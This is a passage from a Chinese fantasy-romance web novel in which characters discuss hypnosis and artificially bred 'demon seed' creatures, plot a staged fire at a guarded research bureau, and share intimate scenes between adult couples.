“难怪什么?”
曾倾洛被边烬突然提问,紧张得心跳都漏跳了一拍,回答道:
“难怪……难怪我没能守住她,让她逃了。当时应该是被她催眠了,让我误以为师姐到了,这才给贼人开了门。”
曾倾洛这句话自然是说了谎。
她知道当时李极虚弱至极,没法催眠。
催眠她的是门外人,也是袭击她的人。
第五阙和贺兰濯来之前,边烬找过曾倾洛,希望她不要直接说出当时营救李极的是个高级别精神天赋者。不然大家会立即怀疑贺兰濯,毕竟长安城中精神天赋者少之又少。
那样做,只会打草惊蛇。
现在还不是和贺兰濯鱼死网破的时候。
暂不知贺兰濯为何会为李极卖命,但她是个聪明人,定知晓自己已被怀疑,还敢铤而走险上门,很有胆量。
贺兰濯敢来,边烬就能利用贺兰濯反制李极。
曾倾洛这番话是边烬教她这么说的。
她不太会说谎,本以为说出来会有表演的痕迹,生怕被贺兰濯怀疑。
说出口的当下,其实是在掩饰不想让“家长”知道自己做了一些难以启齿的坏事。
没想到歪打正着。
无论是边烬还是贺兰濯都没觉出异常。
贺兰濯这么一解释,沈逆对精神天赋更好奇了。
她这辈子见过的精神天赋者加在一起凑不够一双手,总觉得这帮人神神道道的,遇上了极其难对付。
正好有个精神天赋者在这儿解答,沈逆当然要抓住机会,能挖多少是多少。
沈逆再问贺兰濯:“我知道你能直接入侵意识,让人产生幻觉。那C级精神天赋就只能在相处中潜移默化?那不与她相处呢,就没什么其他手段可以影响别人?”
贺兰濯心想,你免费蹭课来了你。
贺兰濯道:“据我所知,低级别的精神天赋者有一个决定能力的致命因素——长相。长得越美,蛊惑人心的能力就越强。有时候这种蛊惑会让人无法抗拒与她相处的机会。”
听到此话,曾倾洛暗暗吸一口气。
沈逆瞟边烬,心道,就算没有精神天赋,长得美也能轻易蛊惑人心?
这话没说出来。
在师姐梦境里,她都是个十岁小孩了,不正经的话以后得少说,不然下次再进她梦境,指不定这年龄还得再变小。
边烬插一嘴,“听起来,这个因素影响的不只是低级别精神天赋者。”
贺兰濯承认,“从某种方面来说,所有的精神天赋者都遵循这个规律。长得越美,能力越强。”
第五阙按捺不住,正想到贺兰濯耳边小声耍个小贱,说“难怪我这么喜欢你”。
还没说,就听贺兰濯道:“但这很无聊,也很无耻。”
第五阙:。
老老实实坐回来。幸好没说。
曾倾洛在心里狠狠同意。
真的,无聊又无耻。
贺兰濯说的都是实话。
只是藏了一点。
外貌的确是精神天赋者非常有利的武器,但还有一点,能影响其精神能量的强弱。
那便是经历。
幸福和欲望能产生亢奋、锋利的精神力。
痛苦和愤怒也能产生阴冷、怨毒的精神力。
精神世界越是丰富,释放出的精神力就越强。
所以精神天赋,也是三大天赋中最容易破级的天赋。
她曾经亲眼见过一个C级天赋者,因至亲被虐杀,瞬间升至A级。
但此人没能操控好这份突如其来巨大的力量,复了仇,也命丧当场。
边烬忽然问:“那你们精神天赋者就没有弱点吗?”
沈逆察觉到了,今日的边烬格外咄咄逼人。
不像是邀请人家来府上做客,正题也未说,活脱脱一位严酷的总都督在审讯。
沈逆没想错,边烬就是在测试贺兰濯能说出多少关于精神天赋者的秘密。
贺兰濯说的越多,越是加大李极的风险,甚至是她自己的风险。
但她还是说了。
贺兰濯:“精神力很危险,无论是对于精神天赋者本人,还是被控者,都容易陷入错乱。”
第五阙眸光有些波动。
“被控者的风险容易理解,被恶劣又强大的精神天赋者催眠,陷入精神错乱,有可能忽然自残、自戕。活下来的,也有可能永远迷失在幻觉之中。
“而精神天赋者本人,在释放巨量的精神力的当下,自己的神志也有可能在一瞬间崩溃,下场也是一样,不是突然死亡,就是在错乱的世界里找不到出口。
“当然,天赋越高,越能操控好精神力,降低反噬的风险。
“精神力其实是一把双刃剑,持剑人站在悬崖边舞剑,有可能顺利斩杀敌人,也有可能让自己坠入深渊。
“为什么精神天赋者少之又少,其实觉醒此天赋的人并不比其他两类天赋者少,但能活至成年者,十中有一已算多。”
沈逆听完她的话,更是好奇,问她:
“贺女郎,你能不能催眠我?”
众人看向沈逆。
贺兰濯:“怎么侯君还想主动被催眠?”
心道,你和边烬果然是两口子。
沈逆:“我从来没有被催眠过,很想知道催眠到底是怎么回事。以后遇上也好防范。”
贺兰濯笑道:“侯君先从假山上下来吧。”
沈逆:?!
沈逆神志一荡,发现自己真的坐在假山上。
什么时候上去的,她完全没意识到。
满桌人都盯着她看,边烬更是一言难尽。
沈逆脸上有点热,立即跳下来。
“你什么时候催眠的?我居然完全没察觉到。”
贺兰濯:“正是趁你不设防的时候催眠的。侯君是双S级天赋,精神防线固若金汤,我也只能趁你不备,玩一些无伤大雅的小把戏。若是要让你做更出格,更违背本心的事,你一定会立即察觉的。”
“原来如此。”
沈逆算是体验了一把催眠是什么滋味。
“你是S级,便已经能操控我的行为,那双S级呢?岂不是更厉害?”
贺兰濯:“双S级的精神天赋者么,我还没见过。若真有这样的人,恐怕这世间没几个人能应对。”
第87章
饭菜吃完,上消食儿的茶。
第五阙对无脸女格外感兴趣,得知这玩意居然是弦昼国女帝炼出来的魔种,倒吸一口气。
第五阙:“这无脸女的战力放到战斗天赋者里,绝对是超越S级的大杀器,秦无商就是个S级的机械师,她是怎么打造出这种东西,又能把控得了?”
沈逆:“那无脸女就是个半成品,没有思维也没有脸,只能执行任务,不会说话也不会思考。她是秦无商炼出来的魔种。”
沈逆将无脸女的组成结构投影出来,说了这玩意的组成和特点,在场的其他人都不是机械师,听完一头雾水。
曾倾洛和自己十指相扣,一边思索一边道:
“所以,这东西不是人类也不是机械,是一堆,呃,凝胶生物?”
沈逆:“外壳是凝胶,里面应该也需要类似玉璧一样的东西驱动。”
光是这么听,大家都有点想象不出到底是个什么玩意。
沈逆找一些能够好理解的类比。
“你们都记得未来世代的历史中,低阶人工智能刚刚出现时发生的事吧。低阶人工智能可以写文章,可以画画,还是做出各种风格的视频。那时系统使用的方法很原始,通过收集海量的作品,当做训练的数据,提取特征后输入神经网络模型。这神经网络模型就是模仿人类大脑的神经元,通过迭代慢慢生成具体的模型。训练完成后,模型能根据输入的指令生成相似风格的作品。”
沈逆想了想,又道:“嗯,或许不能叫做作品,就是一种深度学习之后的模仿。”
沈逆这么一提,边烬想起来了。
边烬道:“我记得,当时人工智能的绘画总是画不好手,多一根手指或者少一根,要不然就是手使用的方式不对,就好像人工智能并不能理解人类手的使用逻辑,所以无法正确描绘。这不正和秦无商炼出的魔种一样么。”
秦无商的魔种有机械臂辅助,而无脸女手和武器干脆连在一起。
都是因为它们不懂手的逻辑,不会用手。
沈逆和边烬的话,让众人鸡皮疙瘩战栗。
边烬隐藏了一些她先前和沈逆交流过,关于李渃元的一些猜测,没有当众说出来。
李渃元那一手难看的字,还不会握箸,正是魔种的特征。
要是说李渃元的魔种是由秦无商师姐炼制,秦无商师姐炼魔种的技术比秦无商更好,所以更智能更鲜活,那就说得通了。
李渃元的事事关重大,是张重要的底牌,暂时不好让贺兰濯知晓。
贺兰濯对魔种显然也很感兴趣。
贺兰濯道:“所以,秦无商炼魔种的原理和未来世代低阶人工智能相同,也是通过采集大量的目标数据,深度学习,炼出与目标高度相似的模型。她称之为魔种。”
沈逆补充道:“这个数据很有可能是基因信息。”
曾倾洛搓了搓胳膊道:“这技术应该已经很成熟了吧,却从未听过。魔种和机械人还不一样,机械人是制造出来的,而这种魔种就像是……窃取了人的基因,炼出了一个另一个无比相似的人。”
第五阙:“难怪秦无商能造出力量与边烬相当的玩意,原来是在炼魔种。”
第五阙摸着下巴思索着。
“那为何偏偏做不出脸?”
沈逆想起那夜突然出现的边烬,身上无与伦比的鲜活气息,将无脸女衬托得像块灰突突的抹布。
沈逆道:“和人体其他部位相比,人脸部是最难做的。就看现在的机械人,已经很接近真人了,但你只要认真看,特别是和真人对比的情况下,还是能看出违和感。商用和家用机械人脸部都很僵硬,军用的索性不做脸。像秦无商这种照着别人弄出的玩意,还要什么脸啊。”
第五阙看向边烬,“秦无商炼自己的魔种很方便,要什么数据自己采集就是了。那无脸女呢?也是采集了你的数据吗?”
第五阙问得太直接,桌下,大腿被贺兰濯膝盖顶了一下。
第五阙:……
对哦,之前没少传边烬和秦无商的绯闻,这么敏感的话题她怎么就脱口而出了。
边烬倒是无所谓。
秦无商通过她的魔种在长安城兴风作浪,边烬遇到过两次,大致能知晓此人秉性。
她绝无可能与秦无商在情感上有牵扯。
这些年边烬经历过太多生死,年轻时被人砍一刀都得还十刀回去。如今只觉得还活着就好,并不在意一两次的失败。
边烬直言:“或许我丢失记忆的那三年,成了秦无商的实验品。在她的反复测试下,炼成了和我力量相当的无脸女。”
她话说完,大家都有点安静。
边烬倒是反过来安慰大家。
“如今我们知晓秦无商的手段,便多了一层防备,回头别让她抓住炼出同款魔种就好。”
众人:……
本来还没想到这一层,被边烬这么一说头皮都麻了一下。
沈逆已经去过边烬的梦境世界,大受亲睐,现在她心态稳得很。
不过稳归稳,能早日手刃秦无商这夹脑癫子自然更好。
沈逆问第五阙:“阿阙,你有没有问你小姑姑关于秦无商师姐的事?”
第五阙道:“我第一时间就联系她了,但我这小姑姑最爱四处云游,最近不知道跑去何处游玩,十日都未必会联系家里一次。上次与她通话她没接,我已经给她飞鸽了。她看到了就会回复吧。”
沈逆:“好,等她消息。”
茶水换了一泡,开始谈论破入禁区的计划。
原本是万姑姑来送茶点,但今日要议之事少一人知晓少一分风险,改由沈逆自己去拿。
沈逆两只手叠了十个盘子回来,玩杂技似的十拿九稳。
第五阙“哇”了一声,“机械师的手就是不一样,这么能干呢?”
第五阙完全没有其他意思,可有些人就是想歪了。
沈逆将边烬喜欢的点心放在她面前时,边烬的目光被她的手粘了过去。
那夜弄湿床面的水渍,就是顺着这只漂亮的指背淌下去的。
发现了边烬的目光,沈逆收手的动作慢了一步。
边烬眨眨眼,装作什么也发生,收回目光。
心跳半天难稳。
那夜竟做成那样……
是第一次,也必定是最后一次。
边烬这头心跳超常,那头沈逆捂着心口,眼眉有些疑惑。
这不寻常的心跳来得突兀,就好像是别人传到她心里。
的确是边烬传给了沈逆。
连理模块之中有一个功能,叫“情感共鸣”。
情感共鸣的功能是字面意思,当双妻中的一位情感发生变化时,另一位会产生微妙的共鸣。
难过时会相互传递情绪,心动也会。
心绪相通,可以说没有任何隐私可言。
边烬本不想开。
可亲密度不能掉,否则梦境互通的时常也会缩短,无奈之下,边烬只能同意把连理模块所有的功能都开启。
开启之时,边烬还担忧过,沈逆一些太过热情的想法会不会影响自己。
没想到,沈逆还没影响她,她就连累了沈逆。
边烬这头因为想起那夜的极端放纵而体温上升,沈逆额头上也出了一层热汗。
沈逆正好坐在曾倾洛对面,曾倾洛见她模样有些奇怪。
“小师姐,太热了吗?这恒温系统还能降低些温度吗?”
沈逆说了句话“还好”,拎起衣襟扇风。
她已经猜到是情感共鸣在作祟。
求助的眼神抛向边烬,想让她快点想想办法,心跳别这么快了。
谁知边烬正闭着眼,完全不顾她正处于水生火热之中。
沈逆:……
这倒霉的功能现在就直接关掉。
亲密度加一。
沈逆:。
行,这么玩是吧。
感觉会被玩死……
边烬放空自己调节气息,将情绪沉了下去,意识回拢时,听到第五阙正在滔滔不绝说她的惊天计划。
第五阙:“……只要这火能起来,他们自然会把最重要的东西运走。咱们都不用往里面闯,就在外面等着劫道就行。”
沈逆撑着下巴,用“你醒啦”的眼神看着罪魁祸首边烬,嘴上对第五阙道:
“这就是你说的万无一失的绝妙计划?”
边烬已经没事了,沈逆脸蛋还有点不自然的潮红。
第五阙:“怎么,有什么不对的吗?”
无辜被迫害的沈逆喝了一大杯的冰水,强行将燥热压下去,道:
“倒是没有。可是最高研发署守备森严,这火要怎么放?谁去放?”
第五阙:“呃……”
贺兰濯接下第五阙的话。
“用催眠术伪装成清洁人员潜入最高研发署,埋下火种,定时点燃。不过这需要侯君做些可以远程操控,且不易被发现的火种。”
第五阙眼眸一亮,“对,我就是这个意思。”
沈逆暂且没有说话,看向边烬。
其实沈逆有点不确定,这个计划为什么边烬有意要叫上贺兰濯。
这次的计划是闯入最高研发署,绝对机要之地,弄不好是要掉脑袋的。
同行者一定得都是自己人。
曾倾洛自不必说,师出同门,边烬曾经照顾过她,她对边烬感情深厚,又与沈逆出生入死过。
而第五阙,是沈逆拿命换来的挚友。
贺兰濯么,沈逆甚至对此人的背景都不甚了解。
第五阙和贺兰濯关系发展到如今的地步,也算是意料之内。
贺兰濯,沈逆了解得不多,只知道这位睦州节度使是贺家分支里近几年冒出来的官场新贵。
当初第五阙凭借着战功、学识和家世,稳坐睦州节度使的位置。
结果贺兰濯空降成为她的顶头上司。
这事儿放在旁人身上该是挺气人的,第五阙这般年轻气盛,闪耀卓绝,却只能当她的副手。
那时沈逆还在睦州,原本还想宽慰第五阙一番,摆好酒席,她若有什么苦楚往好友这边一倒,也能消愁。
结果那一夜,愁是没见她倒,往外一倒全是她对贺兰濯的花痴。
沈逆:?
第五阙完全没有因为被抢了节度使的位置,而对贺兰濯有什么意见。
反而被迷得五迷三道。
恨不得将所有最美好的词全都堆在贺兰濯身上。
当时这二位还没在一起——别说在一起了,人家贺兰濯根本都没正眼看过她——沈逆还能说上几句嫌弃话。
沈逆:“你知道你的节度使大人这种一看就是千年妖精化为人形的蛇蝎美人,最喜欢什么样的吗?”
第五阙:“我这样的?”
沈逆深以为然地颔首。
第五阙特开心,“还真是我这样的?为什么啊?”
“缺心眼千金,妖精姐姐最爱。”
第五阙:……
敢情是在说我傻。
那会儿沈逆随口一句玩笑,没想到一语成谶。
第五阙从此成了贺兰濯召之即来的一只傻狗。
贺兰濯要来长安城公干,第五阙也自己找了差事,千里迢迢跟来。
生怕她堂堂节度使应付不来公事,更怕她在长安城人生地不熟被人欺负,非要追随在后,帮她全部办妥心里才踏实。
这会儿贺兰濯还有些公事没了结,说正在等户部的人回应交差,让第五阙先回睦州,她也不回,非得等贺兰濯办完事了,再跟她一起回去。
第五阙和沈逆患难与共过,肝胆相照。
也与贺兰濯同心共事,床笫交欢。
可说到底,沈逆和贺兰濯之间没有共度风雨,只有那一夜的出手相助。
联合贺兰濯,是有风险的。
但边烬让她来,自有谋算。
果然,边烬听完贺兰濯所言,赞成道:
“是个好方法。侯君,火种没问题吧。”
沈逆:“这个简单。”
边烬拍板,“行,那等侯君做完火种之后,我们定具体时间。”
酒足饭饱,计划也定好,第五阙和贺兰濯离开侯府,曾倾洛也去沐浴了。
沈逆问边烬:“你是不是在试探贺兰濯?”
边烬:“为何这么想?”
“试探贺兰濯是不是那日救走李极的人?她是李极的谋士吗?”
边烬猜到瞒不住沈逆,却没想到这么快就被她看穿了。
边烬:“暂时还不确定。”
沈逆:“你是想看看,贺兰濯会不会把此事回禀李极,以此为套,诱李极出现,再瓮中捉鳖?”
边烬:“我的确是这么计划的。”
贺兰濯和第五阙回到帝国客栈。
贺兰濯接到飞鸽,以公事为由出门上楼,去了顶层,将边烬她们的计划告知李极。
李极酗酒多日,昨夜呕血之后今日消停了,没再喝酒,早起画画到现在。
贺兰濯说话的时候,她正在全神贯注勾线。
贺兰濯说完沈逆她们的计划后,分析道:
“边烬故意告知我计划,是想通过我的嘴引殿下出现。若是殿下出手,不仅有可能掉入她们设下的陷阱,更会让边烬确定是我在中间传递情报。”
李极单手撑着下巴,没抬头,精心地将画中的美人脸勾完。
“放心,我不会出现。自会有人将功补过。”
贺兰濯垂首不语。
看来李极还是要打秦无商这张牌。
此时,靖安侯府。
边烬放下净面的面巾,继续对沈逆道:
“但李极刚刚被绑,现在定然是惊弓之鸟,不会轻易出现。”
沈逆脑子一转,懂了。
“既然李极会跟秦无商合作,有一次就有第二次。要是秦无商的魔种来了,直接捆了丢到最高研发署里,研发署丢了什么东西都算到她头上。要是无脸女来了,绑回来拆了研究。”
沈逆笑着,继续道:“这样好啊,只要让秦无商大肆破坏最高研发署,回头再把倾洛瞧见她和李极密谋的视频往万维网上一放,李极就会成为众矢之的。这叛国的名声她就好好背着吧。”
边烬淡笑,她想的每一步沈逆都猜到了。
这世间恐怕不会再有人如沈逆般了解她。
沈逆一转身,忽然挨得很近。
边烬移开目光,撤走一步。
沈逆抿了抿嘴,果然还躲着她。
身子躲得了,梦躲不了。
沈逆躺到床上,一双漂亮的眼睛望着边烬:
“冷却时间到了,今晚让我继续去你的梦里吧。”
……
李极将美人脸勾完,抬眸问贺兰濯:“我让你办的事办好了吧?”
贺兰濯:“殿下想沉潭的记忆,我已经从曾倾洛的记忆模块中消除了。但想要不被她发觉,也只能让她无法提取往外播放,她本人并没有忘记。”
李极将笔放下,对贺兰濯甜甜一笑。
“这就行了。我可不想和边烬一样,背上叛国之罪。回头民心可不是那么好争取的。阿濯,你可真能干。”
她拿起刚刚画完的画,展开给贺兰濯看。
“像不像,喜不喜欢?”
画中的女子是阿赐。
李极的确很有绘画的灵气,阿赐在她笔下宛若活了一般,透过纸张正对着贺兰濯笑。
“送你了。”李极说,“你过来拿。”
气氛立即变得微妙。
一直看着窗外和门口的康逸和繁之,听到李极的话,也转过身来。
贺兰濯沉默了片刻,走上前,用戴着手套的手去接画卷。
就在她要碰到画的瞬间,李极的手动了一下。
贺兰濯指尖微缩。
下一刻,李极柔软的手覆在贺兰濯的手背上。
李极软着声音道:“上次我有点生气,下手重了些。我向你道歉,别记恨我。”
贺兰濯嘴唇不自然地绷紧,随后道:
“属下不会记恨的。”
李极隔着手套捏了捏贺兰濯的指骨。
“我的阿濯是最乖的。去吧,回去陪你的第五妹妹吧。”
贺兰濯将画卷卷起,要离开时李极忽然补了一句:
“你的第五妹妹长得那么美,听说她天赋异禀,好生厉害。反正你与她不过逢场作戏,她应该还算信任你。你去把她催眠了,送到我床榻上。”
李极慵懒地侧卧在矮案后,打了个呵欠,道:
“也让我尝尝是什么滋味。最近我很寂寞,你知道的。”
贺兰濯猛地攥紧手把。
半晌,没能说出半个字。
看着贺兰濯僵硬的脊背,李极突然开心地笑起来。
“逗你的。我怎么会夺你所爱。”
贺兰濯提了提嘴角。
不知道自己笑得多僵硬,也不想知道。
康逸看着贺兰濯离开时苍白的脸色,心想,殿下又正常了。
前几日因那姓曾的女人,整个人焦躁颓唐,他半步都不敢离开,就怕殿下胡来。
呕血之后,殿下似是想明白了些。
康逸别无所求,只希望殿下别再发疯。
……
长安城郊外。
秦无商的魔种走到小巷深处,看到了什么,“哎呀”了一声,立即往前快步走。
“我找你找的好苦!你怎么变成这样了?”
无脸女没了一条胳膊,不知何时被黑魔方感染,肢体被拧得乱七八糟,喉咙深处发出怪异的低吼。
秦无商哭丧了半天,无缝衔接成“咯咯”的笑。
周围骤然响起应龙级异兽的警报声。
“嘘”。
秦无商立即将符纸贴在无脸女的额头上,警报声又渐渐弱下去。
巷子外,火速出动的金吾卫一头雾水。
“怎么消失了?”
“应龙级异兽,幸好没真的出现,否则……”
“别说废话,再搜一搜。”
秦无商探出一半脑袋,等金吾卫都走了,她再回到无脸女身前,看着那被越拧越狰狞的模样,感叹道:
“现在的你,才是真正的艺术品。”
第88章
贺兰濯回来的时候,第五阙正在和她阿娘通话。
第五阙一边聊,一边还抽空向贺兰濯抛了个“想你一晚上了”的小眼神。
贺兰濯没说话,往卧房去。
在第五阙看不到的地方,将李极送给她的画撕了,冲入恭桶。
第五阙阿娘和她性子相近,爽快没心眼,说想念女儿,看女儿这段时日在长安城待的都瘦了,就怕她吃不饱穿不好,当场划了两万两银子过来,让她随便花,早日回睦州。
第五阙安抚阿娘半晌,说办完差事就回去,对着镜头亲了又亲,挂了。
贺兰濯也沐浴完毕出来了。
第五阙坐在单人沙发上,和她穿着同款寝衣。
贺兰濯穿得一丝不苟,而她就是随意一裹,挂在身上,有种潦草慵懒的松弛。
第五阙侧身去拿酒喝的时候,露出一截漂亮的脖子和锁骨。
“我都二十好几了,我阿娘还这么操心,难道我真那么不让人放心么?”
“还行,偶尔。”
“偶尔让人不放心?”
“偶尔让人放心。”
第五阙“啧”了一声,还想说什么,见贺兰濯手压在她腰带上。
第五阙眼眸慢慢变沉,抚着贺兰濯的脑袋,望着屋顶的灯。
晕眩感很快笼罩上她的意识。
贺兰濯没弄好,咳了一下。
第五阙轻笑着将贺兰濯的脸抬起来,为她抹去红唇下发亮的痕迹。
“这么不熟练,还得我来。”
贺兰濯挺直上身,单膝跪在第五阙的身侧,执住她的脚踝。
看上去并不想她来。
今晚的贺兰濯有种说不上来的感觉,很强势,让第五阙心里发紧。
有些粗暴,又让第五阙喜欢得要命。
贺兰濯抵碾着,在第五阙发红的耳边说:“我为你找了五个备选地。”
第五阙声音有点接不上,“什么,备选?”
“你不是说想买下一整座山头,去山中隐居?得有山,有瀑布,有果树,还能有一处看得到日出日落的好位置……”
第五阙的确说过,这是她理想的未来。
第五家族太大,事儿太多,待在睦州的时候除了差事,就是为家族的事奔忙。
来长安公干后,算是暂时摆脱了那些琐碎。
却逃不过成日追在她身后的耶娘。
她出生晚,家里就她这一个宝贝,及笄这么多年了也从未催过婚,恨不得永远养在身边。
与此同时,对她的掌控欲也越来越强。
每天穿什么衣服,与谁结交都为她规划得好好的,不许越矩。下了值就得回府,她阿娘甚至每日亲自去接人。
在这样的环境中长大,再没心没肺也难免生出叛逆的情绪。
想离开家族,过属于自己的逍遥日子。
可若是不靠家里,她那点俸禄,别说买一座山头了,就是日常给自己买武器都杯水车薪。
所以第五阙逃离耶娘的计划暂时只是口头上零碎的想象,没能成形,就随口和贺兰濯一说。
并不知道,贺兰濯不仅放在了心上,早就开始为她这只吞金兽井井有条地存银子,且选了五处符合她要求的山头。
贺兰濯没停,给她投影几座山的情况。
看到第三座山的时候,第五阙段时间内又一次晕眩,脑子里嗡嗡地响,热汗浸透了寝衣。
第五阙将贺兰揽下来,热吻扑进唇中,从未吻得这般难舍难分。
贺兰濯整个人被摁在床上,第五阙身子罩下来,扣着她的手腕,目光凝了一会儿,吻变得温柔了,从唇至脖子,在腹部那道恐怖的伤痕上流连。
贺兰濯受不住,潮红蔓延着,推了她一下,她没走,吻变成了轻舐。
无法形容的感觉变成电流,弄得她最后漏了些声出来。
贺兰濯侧卧着调整紊乱不堪的呼吸。
今晚有点过,第五阙整个手掌都浸透了。
第五阙从后面抱上来,又来扣她的手腕。
贺兰濯后知后觉意识到,自己脱了手套,手掌上新鲜的刀伤被第五阙看到了。
手腕往身子里收,第五阙没和她较劲,脑袋顺着她的力道往她怀里钻,滚烫的双唇吻在伤口上。
很烫,贺兰濯被她双唇灼得轻颤。
情不自禁地翻回身,望着身上人。
手也不躲了,第五阙捏着她的指尖,疼惜地将手拉到眼前仔仔细细地看。一抬眸,心疼的眼泪吧嗒掉下一颗,砸在她的指背上。
“怎么又伤成这样……”
第五阙眼眶红红的,声音都哑了。
贺兰濯摸摸她脑袋,把她揽到心口。
沉甸甸的重量压在心上,有些闷痛,却让她安心。
“不小心弄的,没事,快好了。”
明明都说没事了,怀里的傻子还在哭。
眼泪控制不住地落,手臂箍着贺兰濯的腰,也没将她放下来。
第五阙很喜欢贺兰濯的声音,虽然很多时候她是没有声音的。
细碎的喘音闷在喉咙里,隐忍着。
忍着的声音比出口的更有滋味。
她俩当初为什么能凑到一起,除了对彼此的皮囊满意,便是贺兰濯觉得第五阙很能干,各方面都很契合。
每回都能尽兴,却从未像今夜,战栗至虚脱。
夜晚能带给贺兰濯一种安全感。
仿佛天未亮,眼下的一切就会继续,永远不会改变。
天亮之前,她最后一丝力气也弄没了,彻底软在第五阙怀里,还想要。
“不行,该难受了。”
一整夜下来,第五阙倒是没半点倦意,她昂起头,将湿漉的暗红色长发撩至头顶,露出一双明亮温柔的眼睛。
没再纵容贺兰濯,抱她去沐浴。
贺兰濯在热水中靠在第五阙怀里,待她短暂醒来时,已经一身干爽,躺在新换了床品的床上了。
第五阙从她身后紧拥着她,已经入睡。
清晨的光从窗帘的缝隙里透进来一丝,贺兰濯转身,扎进第五阙的怀里。
第五阙混混沌沌地“嗯?”了声,察觉到贺兰濯在她怀中,半睡着也亲了亲她的额头。
……
城那头有人刚睡去,城这边有人睡醒了。
沈逆又进了一次边烬的梦境世界,还是被困在迷宫一样的森林里。
森林深处像长着眼睛,警惕地监视着她的一举一动。
那些刺头菌菇黏在一起,连成排,像气势汹汹的拒马,不让沈逆触碰深处幽兰的光。
保护得越严密之处,越是有秘密。
很好,知道这儿藏秘密了。
沈逆出了梦境后和边烬商量,能不能给她开个后门,把菌菇姐妹们撤一撤,别对她防备心那么重。
边烬:“这我控制不了。”
她都不知道菌菇是什么样的,因何而生。
不过沈逆有句话说对了。
她心里的确布满了戒备。
即便是被偏爱的沈逆,也无法在她梦境世界畅通无阻。
这些防备是她多年行走刀锋上养成的习惯,不是说放下就能放下的。
边烬下床,背对着她穿衣衫。
“我试着调节一下。但梦境世界能不能被影响,我不能保证。”
最近几夜,边烬都是背对着沈逆睡的,两人隔了有大半个人的距离。
沈逆对着她背影道:“师姐,你这般拒着我,你的梦境世界不会放我进去的。”
边烬动作微滞,没有应她,推门出去晨间练体。
沈逆趴在窗边,耷拉着眉眼看了边烬一会儿,也睡不着了。
今日还得去工程司,出上值之前她先将火种做好。
打开最高研发署的轮值表,圈了个时间。
最好选个李煽不在的日子动手。
毕竟永王是S级机械师,遇上还是会有点麻烦。
火种做好,用侦查鸟运给贺兰濯。
贺兰濯很快回复,午后去布火种。
太阳才刚落山,贺兰濯就在行动小组里告知,一切准备就绪,火种已经埋下,越快行动越好。
行动时间定在明夜。
曾倾洛准备就绪,沈逆却对她说:
“你别去了,留在侯府。我会开启全府戒备模式,就算来十个S级天赋者,想要带走你也是难事。”
听沈逆这么说,曾倾洛有点着急。
“可是,这次行动这么危险,我若不跟着你们一起去,实在不放心。”
沈逆:“虽说李极可能不会出现,但要是出现呢?你想见到此人吗?就算你不在乎,恐怕她见到你也会发狂。”
沈逆和李极接触不多,但能看出得此人养尊处优惯了,被曾倾洛劫走,沈逆又从曾倾洛口中听了少许控制她时的细节,便知道此事于李极而言定是奇耻大辱。
李极性格偏激,不可能不报复回来。
靖安侯府除了被沈逆改造过的府邸可以防御,亦有一批可以信任的护院,曾倾洛留在家中最是合适。
曾倾洛被沈逆这么一提醒,李极那张被蒙着眼的脸浮现在眼前。
曾倾洛,若这次我大难不死,我定会让你尝尝,什么叫痛不欲生。
曾倾洛心跳快了几分。
李极凶恶话语犹在耳畔,的确让她惴惴不安。
曾倾洛缓了两口气,镇定下来。
“小师姐,我不怕她。但我知道你定比我想得更周全,我听你的,留在府中。”
曾倾洛恐怕自己都不知晓,此刻双眼里的坚定,已然和先前不同。
沈逆没有问她因何在短时间内褪去了稚气。
谁都有些不愿说出口的难言之隐。
沈逆想象了一下,若是边烬会如何安抚。
笨嘴拙舌的大师姐,定说不出什么像样的话来,大抵就是抚抚她的脑袋,温柔地说:
“有什么不开心的,随时都能来找我倾诉。”
曾倾洛用力点了点头。
……
晚霞漫天。
伴随着一阵咳嗽声,李煽走到最高研发署门口。
门口的护卫听到声音,回头看。
李煽猛地一咳,喉咙耸动,似乎意识到了某种不对劲,单手扶着墙怔在原处。
“殿下,您怎么了?”
护卫急忙上前。
李煽手里攥着帕子,还捂在嘴前,没说话,冲护卫摇摇手。
护卫没敢多言,护送李煽上了永王府的马车。
马车车厢一关,李煽将帕子摊开在眼前,暗红色的血触目惊心。
“咳咳——咳咳……”
李煽又难受地咳了一阵,似有刀在她肺里翻搅,每咽一下喉咙都感觉刀片在剌。
也不知从哪年开始,一入夏的那个月,总是会昏天黑地地猛咳一段时日。
去检查也查不出所以然,医师说没多大问题,只开药给她吃,吃了这些年不见好转,反而越来越严重。
但到了盛夏咳疾就会慢慢减轻,李煽只当是季节性疾病。
以前也咳,却从未咳出过这么多血。
很累,今日是没法再通宵了,她不盯着,那些老油子们应该不会糊弄城防进度吧。
明日再去找医师看看……
合着眼,迷迷糊糊间她好像做了个梦。
梦中,李渃元奔了千里,亲自将年幼的她从宴州接回来。
天子仪仗内,险些丧命的李煽一直伏在李渃元腿上哭。
李渃元为她发抖的瘦弱身子罩上衣衫,对她道:
“你若想要旁人看得起你,便得自己先看得起自己。一直这般懦弱爱哭,旁人只会更轻视,更爱欺辱你。将眼泪戒了,相信你自己,不会比旁人差。”
李煽母亲死的早,没有外祖势力帮扶,也还未觉醒任何天赋,从小受尽冷待,政局动荡时更是第一个被拎出来敲山震虎。
在宴州牢中,李煽和尸体关在一起,吃着馊饭,被狱卒虎视眈眈。
若不是李渃元去救她,她会落得什么下场,根本不敢想。
李渃元语气算不上和蔼,反而敲动了她的心。
从大难不死的那一刻起,她便发誓要振作起来。
为了自己,也为了这世间唯一没有放弃她的皇姐。
或许是上苍垂怜,后来她真的觉醒了机械天赋,还是S级的天赋。
虽有人背后议论她这机械天赋来得莫名,毕竟李氏皇女皇子们中尽是精神天赋者,她生母还没有天赋,外祖家全都是普通人,她又是从何觉醒的?
李煽一直都在忽略那些闲言碎语,她只想将所有的天赋都为皇姐所用。
她多想像沈逆那样。
如果她是双S级天赋,皇姐应该会更开心吧……
虚弱的李煽沉浸在梦中,久久难醒。
即便马车后最高研发署里传来惊天的喊叫,也没能将她唤醒。
“走水啦!”
“走水啦——”
“快报消防司!”
……
四个黑影蹲在最高研发署附近的屋顶。
她们穿着沈逆特质的夜行衣。
这种夜行衣有拟态功能,能轻松融入任何环境,不细致观察很难被发觉。
边烬看这烧红了半边天的火势,问沈逆:“你这火种是不是威力太大了?”
沈逆:“放心,我做的火种是火焰看着大,其实不太能在最高研发署的建造材料中快速蔓延,就是能将人都吓出去。贺女郎放置火种的位置也很妙,不会堵着人逃生的。”
第五阙戴着夜视镜,一直盯着各个出口,一大波的金贵材料和仪器都在往外搬,却没人往三楼的禁区去。
第五阙:“怎么回事,难道要眼睁睁看着禁区里的东西被烧毁?”
边烬:“看来咱们大意了,没想到一点。”
第五阙:“啊?”
沈逆接边烬的话,为第五阙解答。
“你有没有想过,或许三楼禁区根本就不怕火烧,全都是防火材料。”
